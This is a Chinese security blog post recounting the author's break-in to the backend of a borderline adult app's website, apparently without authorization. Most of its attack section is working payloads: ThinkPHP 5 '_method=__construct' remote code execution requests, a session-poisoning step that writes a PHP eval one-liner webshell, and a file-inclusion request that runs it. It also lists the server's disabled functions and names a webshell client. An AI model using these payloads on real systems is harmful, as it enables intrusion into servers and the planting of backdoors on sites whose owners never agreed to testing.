乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
1. 说明
去年的某一天,在线浏览网页的时候,突然跳转到了一个擦边的界面,然后要下载app
,本着弹出即下载的原则,我就欣然安装了: app
打开之后是这样的:
看来渗透测试必不可少了。
2. getshell
经过抓包分析,该app
的后台地址为:http://www.xxx.com/
,对该站点进行分析发现,该站为thinkphp
搭建,那还说什么,直接一把梭:
直接就拿到了shell
,在连接的时候,发现连接报错:
那在浏览器里直接连接看看:
应该是出了问题,还是手工测试吧:
http://www.xxxx.com/?s=index
post
_method=__construct&method=get&filter[]=phpinfo&get[]=-1
此时发现禁用了非常多的函数:
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
试试session
包含的写shell
,教程:
https://xz.aliyun.com/t/10397
先通过session
包含写入一句话木马
http://www.xxxx.com/?s=captcha
POST:_method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
然后利用文件包含去包含session
文件,tp5
的session
文件一般都是在/tmp
下面,文件名为sess_sessionid
:
然后接下来的payload
为
http://www.xxxx.com/?s=captcha
POST:_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=/tmp/sess_eg9xxxxxxxxgsirl&c=phpinfo();
看到这个就算是成功了,蚁剑连接记得加上body:
此时shell
连接成功:
连接成功,发现是www权限,但是提权的时候失败。。那就到此为止吧!
新书推荐
本书以新手实操为出发点,搭建完整虚拟环境:解析58个基本概念+详解19种工具用法+介绍3种攻击方向+给出10项防御建议,从实践经验出发,将复杂内容简单化,突出解决问题的思路,侧重于实操与验证。
点击上方链接,更多优惠等你哦~
tips:加我wx,拉你入群,一起学习
扫取二维码获取
更多精彩
乌鸦安全
原文始发于微信公众号(乌鸦安全):【实战】对某擦边站点的一次渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论